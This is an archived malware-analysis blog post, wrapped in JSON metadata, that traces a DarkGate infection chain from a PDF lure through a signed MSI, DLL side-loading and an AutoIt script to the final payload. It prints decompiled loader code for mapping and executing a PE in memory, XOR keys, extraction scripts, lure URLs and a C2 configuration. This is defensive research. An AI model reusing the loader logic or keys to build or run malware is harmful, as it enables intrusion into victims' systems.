{
	"id": "99fdba9f-dd46-4e79-83b7-28aef5a5ee27",
	"created_at": "2026-04-10T03:21:31.253295Z",
	"updated_at": "2026-04-10T03:22:17.76663Z",
	"deleted_at": null,
	"sha1_hash": "fd049bf198425ac78ea3602ff35173c9af68c272",
	"title": "[QuickNote] DarkGate – Make AutoIt Great Again",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3378690,
	"plain_text": "[QuickNote] DarkGate – Make AutoIt Great Again\r\nPublished: 2024-06-06 · Archived: 2026-04-10 03:08:46 UTC\r\n1 Votes\r\n1. Context\r\nIn the first quarter of 2024, @AvastThreatLabs observed a DarkGate campaign distributed via malicious PDF\r\nfiles:\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 1 of 28\n\nThe technique of using PDF files to lure users into downloading and executing files containing malware is not\r\nnew. I have previously discussed this technique in my presentation titled Unveiling Qakbot: Exploring one of the\r\nMost Active Threat Actors at the Security Bootcamp 2023 (SBC2023) conference. We can search for more\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 2 of 28\n\ninformation about the domain selectwendormo9tres[.]com on VirusTotal reveal that multiple samples are used\r\nto access this domain for downloading files.\r\nHowever, the domain is currently being used as a sinkhole, which helps users avoid downloading malicious\r\ncontent. Sinkholes are a valuable defense mechanism in cybersecurity. They redirect malicious traffic to a\r\ncontrolled server, preventing it from reaching its intended malicious destination.\r\nTherefore, in this article, I will utilize the IOCs released by @AvastThreatLabs to conduct a thorough analysis:\r\n1. case_-2023_4824647818.pdf\r\n2. build-x64.msi\r\n2. Execution Flow Summary\r\nHere’s the high-level illustration of the malware execution flow:\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 3 of 28\n\n3. Technical Analysis\r\n3.1. Analyze PDF file\r\nThe PDF file is quite small in size:\r\nNormal users, when opening this file, will be prompted to click the “ Open ” button, which will then lead them to\r\nthe following link to download a malicious file: hxxps[:]//adclick[.]g.doubleclick[.]net//pcs/click?\r\nf1587wub8-24-TzRtAOnedriveBskd\u0026\u0026adurl=//selectwendormo9tres[.]com?\r\nutm_content=AAhqplxaJo\u0026session_id=3VHLBRuVfwDKTPWgylgR\u0026id=b2WBu\u0026filter=FSBMsIgzmQ-pIvZl\u0026lang=zh\u0026locale=US\r\nSimilar to the February_-2024_3398702636.pdf file, this file will lure users to access the following link:\r\nhxxps[:]//adclick[.]g.doubleclick[.]net//pcs/click?f6879wbk1-2024-\r\nCnPlUOnedriveFrkd\u0026\u0026adurl=//selectwendormo9tres[.]com?\r\nutm_content=orHchiCJYv\u0026session_id=QLuKkySnvaDSwwY9mSwT\u0026id=Uwgtv\u0026filter=PBeVeNVqPB-dEdGa\u0026lang=es\u0026locale=DE\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 4 of 28\n\nQuick comparison of the links above:\r\nAccording to @AvastThreatLabs, these links will download an MSI file named “ build-x64.msi “. If users trust\r\nand execute this MSI file, it will infect their system with the DarkGate malware.\r\n3.2. Analyze MSI file\r\nThe structure of the build-x64.msi file is as follows:\r\nIt uses a valid digital signature:\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 5 of 28\n\n[+] Included certificates:\r\n- Subject: CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE\r\n Issuer: CN=GlobalSign Code Signing Root R45, O=GlobalSign nv-sa, C=BE\r\n Serial: 159159760011286741492753271723304908269\r\n Valid from: 2020-07-28 00:00:00+00:00\r\n Valid to: 2030-07-28 00:00:00+00:00\r\n - Subject: CN=Inoellact EloubantTech Optimization Information Co.\\, Ltd., O=Inoellact\r\nEloubantTech Optimization Information Co.\\, Ltd., STREET=Room 502\\, No.22\\, Jiangbu\r\nRoad\\, Dali Town\\, Nanhai District, L=Foshan, ST=Guangdong, C=CN,\r\n1.3.6.1.4.1.311.60.2.1.1=Foshan, 1.3.6.1.4.1.311.60.2.1.2=Guangdong,\r\n1.3.6.1.4.1.311.60.2.1.3=CN, 2.5.4.5=91440605MACRJLFMXL, 2.5.4.15=Private Organization\r\n Issuer: CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE\r\n Serial: 3383085930441128603247187467\r\n Valid from: 2024-01-26 09:28:10+00:00\r\n Valid to: 2025-01-26 09:28:10+00:00\r\n[+] Signer:\r\n Issuer: CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE\r\n Serial: 3383085930441128603247187467\r\n Program name: None\r\n More info: None\r\n[+] Countersigner (nested RFC3161):\r\n Issuer: CN=GlobalSign Timestamping CA - SHA384 - G4, O=GlobalSign nv-sa, C=BE\r\n Serial: 2256292952261721351877727342917337962\r\n Signing time: 2024-02-12 15:54:27+00:00\r\n Included certificates:\r\n - Subject: CN=Globalsign TSA for CodeSign1 - R6, O=GlobalSign nv-sa, C=BE\r\n Issuer: CN=GlobalSign Timestamping CA - SHA384 - G4, O=GlobalSign nv-sa, C=BE\r\n Serial: 2256292952261721351877727342917337962\r\n Valid from: 2022-04-06 07:45:38+00:00\r\n Valid to: 2033-05-08 07:45:38+00:00\r\n - Subject: CN=GlobalSign Timestamping CA - SHA384 - G4, O=GlobalSign nv-sa, C=BE\r\n Issuer: CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R6\r\n Serial: 152301165417217153014605563764\r\n Valid from: 2018-06-20 00:00:00+00:00\r\n Valid to: 2034-12-10 00:00:00+00:00\r\n - Subject: CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R6\r\n Issuer: CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R6\r\n Serial: 1417766617973444989252670301619537\r\n Valid from: 2014-12-10 00:00:00+00:00\r\n Valid to: 2034-12-10 00:00:00+00:00\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 6 of 28\n\n[+] Digest algorithm: openssl_sha256\r\n[+] Digest: 69d4769c1244a1dbd1222c91f7efd4d39bc3b46edb5c9a53061cee3843e33932\r\nFurther examination using the Orca tool reveals that the CustomAction section executes the\r\nbz.CustomActionDll file:\r\nThe Property section has property field related to iTunesHelper.exe file:\r\n3.3. Analyze bz.CustomActionDll file\r\nA quick review of the bz.CustomActionDll code reveals that it will interact with the iTunesHelper.exe file\r\nlocated in the bz.WrappedSetupProgram cab file:\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 7 of 28\n\n3.4. Analyze iTunesHelper.exe file\r\nThe iTunesHelper.exe file is a genuine Apple file, with its Pdb path is: D:\\BWA\\6B22E293-2BF5-0\\iTunesWin-1200.12.12.9.4\\srcroot\\iTunes\\iPodSupport\\(Win32)\\BuildResults\\Production64\\bin\\iTunesHelper.pdb .\r\nExamining the Import Directory of this file reveals that it loads a DLL file called CoreFoundation.dll .\r\nThe CoreFoundation.dll file is included within the bz.WrappedSetupProgram cab file. This indicates that the\r\nattacker employed the Dll Side Loading techniques to load a DLL file containing code responsible for executing\r\nthe task of malware propagation.\r\n3.5. Analyze CoreFoundation.dll file\r\nThis is a 64-bit DLL without a digital signature:\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 8 of 28\n\nIt has the following information:\r\nFileDescription: Project1\r\nFileVersion: 1.0.0.0\r\nProgramID: com.embarcadero.Project1\r\nProductName: Project1\r\nProductVersion: 1.0.0.0\r\nLoading this DLL file into IDA, the CFAbsoluteTimeAddGregorianUnits() function is called from\r\nDllEntryPoint . The function’s task is to read encrypted data stored in the sqlite3.dll file into a buffer,\r\ndecrypt it using XOR with the decryption key “ VzXLKSZE ”, and finally execute the decrypted payload:\r\nThe sqlite3.dll file before and after the decryption process:\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 9 of 28\n\nThe decrypted file ( sqlite3_xored_VzXLKSZE.dll ) contains a PE file with SizeOfImage = 0x4E000 .\r\n3.6. Analyze sqlite3_xored_VzXLKSZE.dll file\r\nThe file has a header of “ MZER ”, enabling it to execute as a shellcode. This shellcode maps the file into memory\r\nand then calls the OEP address of the file to execute the main code. Its code first reads the contents of the original\r\n“ sqlite3.dll ” file into the memory:\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 10 of 28\n\nNext, it performs a search for the string “ delimitador ” and use it to separate the data sections corresponding to\r\nthe files. Then, decrypt Autoit3.exe file using the same decryption key as above, which is “ VzXLKSZE ”. Check if\r\nthe directory c:\\temp exists, if it does not exist, create it and drop the following files into it: Autoit3.exe,\r\nscript.a3x, test.txt . Finally, use the CreateProcessA API to execute Autoit3.exe for loading AutoIt script\r\nis script.a3x . The script will take the file test.txt as a parameter.\r\n3.7. Extract and analyze AutoIt script\r\nBased on the analysis above, the compiled script’s content can be extracted from 0x1288BE to 0x19F01E (size:\r\n0x76760 bytes):\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 11 of 28\n\nBy leveraging the AutoIt Extractor tool, we can effortlessly extract the original script:\r\nAnalyzing the script, it uses the FileRead function to read the contents from the test.txt file. Then, it employs\r\nStringSplit function on the retrieved string to generate an array of characters. Based on this character array stored\r\nin the $a variable, corresponding strings are constructed. The contents of the test.txt file is as follows:\r\nHowever, since the script is 4557 lines long, manual replacement is not feasible. An automated script needs to be\r\nwritten to perform this de-obfuscation task and restore the corresponding strings. To achieve this, I utilize two\r\nregular expressions as follows:\r\nr\"\\$a\\[0x[0-9a-fA-F]{1,2}].*\" : This regex extracts the entire encoded string after variable $bzxrgjfo\r\n=\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 12 of 28\n\nr\"0x[0-9a-fA-F]{1,2}\" : This regex extracts all hexadecimal codes within the string.\r\nThe entire Python code I wrote to recover the script is as follows:\r\nfrom argparse import ArgumentParser\r\nimport sys\r\nimport re\r\n# Regular expression pattern to match encoded string\r\npattern_1 = r\"\\$a\\[0x[0-9a-fA-F]{1,2}].*\"\r\n# Regular expression pattern to match hex codes\r\npattern_2 = r\"0x[0-9a-fA-F]{1,2}\"\r\n# Define a dictionary to map num to characters\r\nchar_map = {0: '(', 1: 'n', 2: 'q', 3: ']', 4: 'N', 5: '*', 6: '0', 7: 'C', 8: 'V', 9: '3', 10: '\u0026',\r\n 11: 'R', 12: 'e', 13: 'M', 14: 'O', 15: 't', 16: 'J', 17: '}', 18: 'U', 19: 'a', 20: 'D'\r\n 21: '{', 22: 'W', 23: ' ', 24: 'Z', 25: 'x', 26: 'b', 27: '8', 28: 'u', 29: 'l', 30: 'd'\r\n 31: 'Y', 32: '\"', 33: 'S', 34: 'K', 35: '2', 36: 'T', 37: '1', 38: 'r', 39: 's', 40: 'p'\r\n 41: 'j', 42: '$', 43: 'o', 44: 'I', 45: 'F', 46: 'f', 47: 'G', 48: 'B', 49: '=', 50: 'Q'\r\n 51: 'L', 52: '6', 53: '5', 54: '.', 55: 'H', 56: 'c', 57: 'i', 58: '9', 59: 'w', 60: 'z'\r\n 61: ')', 62: 'E', 63: 'm', 64: '4', 65: 'g', 66: 'h', 67: 'A', 68: 'y', 69: ',', 70: 'k'\r\n 71: '7', 72: '[', 73: 'X', 74: 'v', 75: 'P'}\r\ndef mapping_char(listCharCode):\r\n message = \"\"\r\n for num in listCharCode:\r\n message += char_map.get(num)\r\n # return the final message\r\n return message\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 13 of 28\n\ndef extract_index_from_str(text):\r\n # Find all matches of the regex pattern\r\n matches = re.findall(pattern_2, text)\r\n \r\n # Convert hex codes to integers\r\n idxArr = [int(hex_code, 16) for hex_code in matches]\r\n \r\n return idxArr\r\ndef main():\r\n parser = ArgumentParser(description=\"Deobfuscating DarkGate AutoIt script!!\")\r\n parser.add_argument(\"-i\", \"--input_file\", dest='input_file', metavar='INPUT_FILE', type=str, requ\r\n parser.add_argument(\"-o\", \"--output_file\", dest='output_file', metavar='OUTPUT_FILE', type=str,\r\n \r\n args = parser.parse_args()\r\n \r\n try:\r\n fin = open(args.input_file, \"r\")\r\n except IOError as e:\r\n print(\"Could not open file %s - %s\" % (args.input_file, e))\r\n return 1\r\n in_lines = fin.readlines()\r\n fin.close()\r\n out_lines = []\r\n for line in in_lines:\r\n matched_str = re.search(pattern_1, line)\r\n if matched_str:\r\n strEncoded = matched_str.group(0)\r\n idxArray = extract_index_from_str(strEncoded)\r\n strDecoded = mapping_char(idxArray)\r\n line = line.replace(strEncoded,strDecoded)\r\n \r\n out_lines.append(line)\r\n if out_lines:\r\n try:\r\n fout = open(args.output_file, \"w+\")\r\n except IOError as e:\r\n print(\"Coult not write to file %s - %s\" % (args.output_file, e))\r\n fout = sys.stdout\r\n for line in out_lines:\r\n fout.write(line)\r\n fout.close()\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 14 of 28\n\nprint(\"Deobfuscating done :)\")\r\n return 0 # 0 = EXIT_SUCESS\r\n return 1 # 1 is EXIT_FAILURE\r\nif __name__ == \"__main__\":\r\n sys.exit(main())\r\nHere is the final result:\r\nAs a result, the variable $bzxrGJFo will store the shellcode, which is 45,988 bytes in size. The script copies this\r\nshellcode to the variable $pt , and utilizes the EnumWindows function to execute it.\r\n3.8. Extract and analyze DarkGate shellcode loader\r\nFor extracting the shellcode content from the above script, I used the following regex: “\\$bzxrgjfo.+= (.+)”\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 15 of 28\n\nUtilizing CyberChef, the shellcode was successfully dumped as follows:\r\nrecipe=Regular_expression('User%20defined','%5C%5C$bzxrgjfo.%2B%3D%20(.%2B)',true,true,false,false,fa\r\nThis shellcode will perform the task of loading and executing a PE file in memory:\r\nThis shellcode’s complete loader code is as follows:\r\nunsigned int __stdcall drg_shellcode_loader(PE_BASE arg_dgDelphiLoaderBaseAddr)\r\n{\r\n // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-\"+\" TO EXPAND]\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 16 of 28\n\nif ( !drg_resolve_LoadLibraryA_GetProcAddress(\u0026mw_resolved_api) )\r\n {\r\n return -1u;\r\n }\r\n if ( arg_dgDelphiLoaderBaseAddr.dos_hdr-\u003ee_magic != IMAGE_DOS_SIGNATURE )\r\n {\r\n return -2u;\r\n }\r\n pNtHeaders = (arg_dgDelphiLoaderBaseAddr.baseAddress + arg_dgDelphiLoaderBaseAddr.dos_hdr-\u003ee_lfanew\r\n if ( pNtHeaders-\u003eSignature != IMAGE_NT_SIGNATURE )\r\n {\r\n return -2u;\r\n }\r\n v3 = arg_dgDelphiLoaderBaseAddr.dos_hdr-\u003ee_res[2];\r\n switch ( v3 )\r\n {\r\n case 2:\r\n return 0x4DF;\r\n case 3:\r\n if ( (pNtHeaders-\u003eFileHeader.Characteristics \u0026 IMAGE_FILE_DLL) == 0 )\r\n {\r\n return 0x4DF;\r\n }\r\n result = ((arg_dgDelphiLoaderBaseAddr.baseAddress + pNtHeaders-\u003eOptionalHeader.AddressOfEntryPo\r\n arg_dgDelphiLoaderBaseAddr.baseAddress,\r\n 0,\r\n 0);\r\n if ( result )\r\n {\r\n LOBYTE(arg_dgDelphiLoaderBaseAddr.dos_hdr-\u003ee_res[2]) = 2;\r\n }\r\n return result;\r\n case 0:\r\n if ( !pNtHeaders-\u003eOptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress\r\n {\r\n return -3u;\r\n }\r\n if ( !drg_perform_base_relocate(\r\n \u0026pNtHeaders-\u003eOptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddre\r\n arg_dgDelphiLoaderBaseAddr,\r\n pNtHeaders-\u003eOptionalHeader.ImageBase) )\r\n {\r\n return -4u;\r\n }\r\n if ( pNtHeaders-\u003eOptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress\r\n \u0026\u0026 !drg_build_import_table(\r\n mw_resolved_api.LoadLibraryA,\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 17 of 28\n\nmw_resolved_api.GetProcAddress,\r\n pNtHeaders-\u003eOptionalHeader.DataDirectory[IMAGE_FILE_IMPORT_DIRECTORY].VirtualAddress,\r\n pNtHeaders-\u003eOptionalHeader.DataDirectory[IMAGE_FILE_IMPORT_DIRECTORY].Size,\r\n arg_dgDelphiLoaderBaseAddr) )\r\n {\r\n return -5u;\r\n }\r\n if ( pNtHeaders-\u003eOptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress )\r\n {\r\n drg_exec_tls_callbacks(\r\n \u0026pNtHeaders-\u003eOptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS],\r\n arg_dgDelphiLoaderBaseAddr);\r\n }\r\n break;\r\n }\r\n LOBYTE(arg_dgDelphiLoaderBaseAddr.dos_hdr-\u003ee_res[2]) = 1;\r\n mw_EntryPointAddr = (arg_dgDelphiLoaderBaseAddr.baseAddress + pNtHeaders-\u003eOptionalHeader.AddressOfE\r\n LOBYTE(arg_dgDelphiLoaderBaseAddr.dos_hdr-\u003ee_res[2]) = 2;\r\n if ( (pNtHeaders-\u003eFileHeader.Characteristics \u0026 IMAGE_FILE_DLL) == 0 )\r\n {\r\n return mw_EntryPointAddr();\r\n }\r\n result = (mw_EntryPointAddr)(arg_dgDelphiLoaderBaseAddr.baseAddress, 1, 0);\r\n if ( result )\r\n {\r\n LOBYTE(arg_dgDelphiLoaderBaseAddr.dos_hdr-\u003ee_res[2]) = 3;\r\n }\r\n return result;\r\n}\r\n3.9. Analyze DarkGate Delphi loader\r\nAs analyzed above, the shellcode loader’s function is to load and execute a PE file in memory. For easier analysis,\r\nlet’s extract this PE. This PE is coded in Delphi:\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 18 of 28\n\nThe primary function of this loader is to decrypt the final payload, which is the DarkGate payload, from the AutoIt\r\nscript, map it into memory, and execute it. To accomplish this task, it first assigns “ VzXLKSZE ” to the global\r\nvariable. This string is then used as a marker to retrieve the encrypted final payload and is subsequently modified\r\nfor use as an XOR key for decrypting the final payload. Next, it reads the contents of the AutoIt script is\r\nscript.a3x into a buffer.\r\nNext, utilizing the aforementioned marker string, extract the encrypted payload from the data of the AutoIt script,\r\ndecrypt the DarkGate payload, and execute the decrypted payload.\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 19 of 28\n\nThe decryption process of the DarkGate payload is carried out through the drg_xor_crypt function. In this\r\nfunction, the initial string ” VzXLKSZE ” is converted into a new string using the drg_xor_key_modify function.\r\nRewrite the above pseudo-code in Python as follows:\r\n # modify marker\r\n l = len(marker)\r\n mod_key = ''\r\n for c in marker:\r\n k = c ^ l\r\n l -= 1\r\n mod_key += chr(k)\r\nAfter obtaining the new key, use this key to decrypt the DarkGate payload:\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 20 of 28\n\nThe above pseudo-code is rewritten as a function as follows:\r\ndef xor_crypt(enc_data, key):\r\n dec_bytes = list()\r\n idx = 0\r\n key_len = len(key)\r\n for i in range(len(enc_data)):\r\n dec_bytes.append(((enc_data[i] ^ ord(key[idx]))) \u0026 0xFF)\r\n idx = (idx + ord(key[idx])) % key_len\r\n if idx == 0:\r\n idx = key_len -1\r\n dec_data = ''.join(chr(c) for c in dec_bytes).encode('latin-1')\r\n return dec_data\r\nAfter decoding the DarkGate payload, the loader calls the function drg_mapping_and_exec_final_payload to\r\nexecute this payload directly from memory. The entire code of the drg_mapping_and_exec_final_payload\r\nfunction is as follows:\r\nvoid __fastcall drg_mapping_and_exec_final_payload(char *arg_pFinalPayload)\r\n{\r\n // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-\"+\" TO EXPAND]\r\n drg_perform_refCnt(arg_pFinalPayload);\r\n v10[2] = \u0026savedregs;\r\n v10[1] = System::_16747;\r\n v10[0] = NtCurrentTeb()-\u003eNtTib.ExceptionList;\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 21 of 28\n\n__writefsdword(0, v10);\r\n pFinalPayload = drg_get_pointer_to_buffer(\u0026arg_pFinalPayload);\r\n // copy dos header\r\n qmemcpy(\u0026pPayloadDosHdr, pFinalPayload, sizeof(pPayloadDosHdr));\r\n // copy nt headers\r\n qmemcpy(\u0026pPayloadNtHdr, \u0026pFinalPayload[pPayloadDosHdr.e_lfanew], sizeof(pPayloadNtHdr));\r\n dwPayloadSize = System::__linkproc__ DynArrayLength(arg_pFinalPayload);\r\n pMappedPayload = VirtualAlloc(0, 8 * dwPayloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n // copy section data\r\n dwNumberOfSections = pPayloadNtHdr.FileHeader.NumberOfSections;\r\n dwCount = 0;\r\n while ( 1 )\r\n {\r\n qmemcpy(\r\n \u0026pPayloadSectionHdr,\r\n \u0026pFinalPayload[0x28 * dwCount + 0xF8 + pPayloadDosHdr.e_lfanew],\r\n sizeof(pPayloadSectionHdr));\r\n if ( pPayloadSectionHdr.SizeOfRawData )\r\n {\r\n drg_qmemcpy_wrap(\r\n \u0026pMappedPayload[pPayloadSectionHdr.VirtualAddress],\r\n \u0026pFinalPayload[pPayloadSectionHdr.PointerToRawData],\r\n pPayloadSectionHdr.SizeOfRawData);\r\n }\r\n ++dwCount;\r\n // build import table\r\n if ( !--dwNumberOfSections )\r\n {\r\n for ( import_desc = \u0026pMappedPayload[pPayloadNtHdr.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_\r\n ;\r\n ++import_desc )\r\n {\r\n dwNameRva = import_desc-\u003eName;\r\n if ( !dwNameRva )\r\n {\r\n break;\r\n }\r\n dll_handle = LoadLibraryA(\u0026pMappedPayload[dwNameRva]);\r\n if ( dll_handle != INVALID_HANDLE_VALUE )\r\n {\r\n if ( import_desc-\u003eanonymous_0.OriginalFirstThunk )\r\n {\r\n thunkRef = \u0026pMappedPayload[import_desc-\u003eanonymous_0.OriginalFirstThunk];\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 22 of 28\n\n}\r\n else\r\n {\r\n thunkRef = \u0026pMappedPayload[import_desc-\u003eFirstThunk];\r\n }\r\n for ( funcRef = \u0026pMappedPayload[import_desc-\u003eFirstThunk]; ; ++funcRef )\r\n {\r\n thunkData = *thunkRef;\r\n if ( !*thunkRef )\r\n {\r\n break;\r\n }\r\n if ( thunkData \u003e= 0 )\r\n {\r\n apiAddr = GetProcAddress(dll_handle, \u0026thunkData-\u003eName[pMappedPayload]);\r\n }\r\n else\r\n {\r\n apiAddr = GetProcAddress(dll_handle, *thunkRef);\r\n }\r\n *funcRef = apiAddr;\r\n ++thunkRef;\r\n }\r\n }\r\n }\r\n // perform base relocation\r\n pBase = \u0026pMappedPayload[pPayloadNtHdr.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERE\r\n for ( relocation = \u0026pMappedPayload[pPayloadNtHdr.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_E\r\n relocation - pBase \u003c pPayloadNtHdr.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BAS\r\n relocation = (relocation + relocation-\u003eSizeOfBlock) )\r\n {\r\n v11 = relocation-\u003eSizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION;\r\n dwRelocationCount = System::__linkproc__ TRUNC(v11 / 2.0);\r\n v15 = relocation + 1;\r\n do\r\n {\r\n if ( LOWORD(v15-\u003eVirtualAddress) \u003e\u003e 0xC == IMAGE_REL_BASED_HIGHLOW )\r\n {\r\n relocEntry = \u0026pMappedPayload[relocation-\u003eVirtualAddress + (v15-\u003eVirtualAddress \u0026 0xFFF)]\r\n *relocEntry += \u0026pMappedPayload[-pPayloadNtHdr.OptionalHeader.ImageBase];\r\n }\r\n v15 = (v15 + 2);\r\n --dwRelocationCount;\r\n }\r\n while ( dwRelocationCount );\r\n }\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 23 of 28\n\n// Execute final DarkGate payload\r\n __asm { jmp eax }\r\n }\r\n }\r\n}\r\nBased on everything analyzed above, we can completely rewrite the script to extract DarkGate payload from\r\nAutoIt script as follows:\r\nfrom argparse import ArgumentParser\r\ndef xor_crypt(enc_data, key):\r\n dec_bytes = list()\r\n idx = 0\r\n key_len = len(key)\r\n for i in range(len(enc_data)):\r\n dec_bytes.append(((enc_data[i] ^ ord(key[idx]))) \u0026 0xFF)\r\n idx = (idx + ord(key[idx])) % key_len\r\n if idx == 0:\r\n idx = key_len -1\r\n dec_data = ''.join(chr(c) for c in dec_bytes).encode('latin-1')\r\n return dec_data\r\ndef get_payload(enc_file, marker_file, out_file):\r\n marker = open(marker_file, 'rb').read()\r\n enc_data = open(enc_file, 'rb').read()\r\n # modify marker\r\n l = len(marker)\r\n mod_key = ''\r\n for c in marker:\r\n k = c ^ l\r\n l -= 1\r\n mod_key += chr(k)\r\n \r\n blobs = enc_data.split(marker)\r\n \r\n darkgate_enc_final_payload = blobs[1]\r\n darkgate_payload = xor_crypt(darkgate_enc_final_payload, mod_key)\r\n \r\n open(out_file, 'wb').write(darkgate_payload)\r\n print(\"\\nSaved to {}\".format(out_file))\r\ndef main():\r\n # Add arguments\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 24 of 28\n\nparser = ArgumentParser(description=\"Get final DarkGate payload!\")\r\n parser.add_argument(\"-i\", \"--input_file\", dest='input_file', metavar='INPUT_FILE', type=str, requ\r\n parser.add_argument(\"-m\", \"--marker_file\", dest='marker_file', metavar='MARKER_FILE', type=str,\r\n parser.add_argument(\"-o\", \"--output_file\", dest='output_file', metavar='OUTPUT_FILE', type=str,\r\n \r\n # Parse arguments\r\n args = parser.parse_args()\r\n get_payload(args.input_file, args.marker_file, args.output_file)\r\nif __name__ == \"__main__\":\r\n main()\r\nHere is the final result:\r\n3.10. Analyze DarkGate payload\r\nI will not go into detailed analysis of the DarkGate payload but rather focus on extracting the configuration it uses.\r\nThe payload I am analyzing is version 6.1.9 of DarkGate:\r\nFrom the main function, it will call the drg_decode_configuration (0x0042FB0C) to perform configuration\r\ndecoding. In this function, it reads the encrypted config stored at address 0045E524 in section .DATA and calls\r\nthe function drg_decrypt_config (0x00432534) to perform the main decryption task with the initial key\r\n“ ckcilIcconnh “:\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 25 of 28\n\nSimilar to the analysis with the loader, before performing decryption, the initial key will be changed using the\r\ndrg_xor_key_modify (0x004324E4) :\r\nThen, use the modified key above to perform configuration decryption:\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 26 of 28\n\nThus, based on the code written for loader analysis, we can use it to decode the configuration of this campaign as\r\nfollows:\r\nBased on this configuration information, along with payload analysis, we can describe as follows:\r\n0=prodomainnameeforappru.com| //c2 domain\r\n8=No // show_fake_error\r\n11=DarkGate //Fake error message caption\r\n12=R0ijS0qCVITtS0e6xeZ //Fake error message. Custom Base64-encoded -\u003e \"Hello world!\" (charsets: \"zLAx\r\n13=6\r\n14=Yes\r\n15=443 //c2 port number\r\n1=Yes //setup persistence\r\n3=Yes //anti_vm based on display devices\r\n4=Yes //check_disk\r\n18=50 //min_disk\r\n6=Yes //anti_vm based on display devices\r\n7=No //check_ram\r\n19=7000 //min_ram\r\n5=Yes //check_xeon\r\n21=No\r\n22=Yes\r\n23=No\r\n25=admin888 //campaign ID\r\n26=No // perform process injection using Process Hollowing technique\r\n27=VzXLKSZE //xor_key or marker\r\n28=No\r\n29=1\r\ntabla=(nq]N*0CV3\u0026ReMOtJ}UaD{W Zxb8uldY\"SK2T1rspj$oIFfGB=QL65.Hci9wz)Em4ghAy,k7[XvP //test.txt data to\r\n4. Refs\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 27 of 28\n\nTips For Analyzing Delphi Binaries in IDA (Danabot)\r\nMalpedia DarkGate\r\nMy script\r\nSource: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nhttps://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/\r\nPage 28 of 28",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/"
	],
	"report_names": [
		"quicknote-darkgate-make-autoit-great-again"
	],
	"threat_actors": [],
	"ts_created_at": 1775791291,
	"ts_updated_at": 1775791337,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
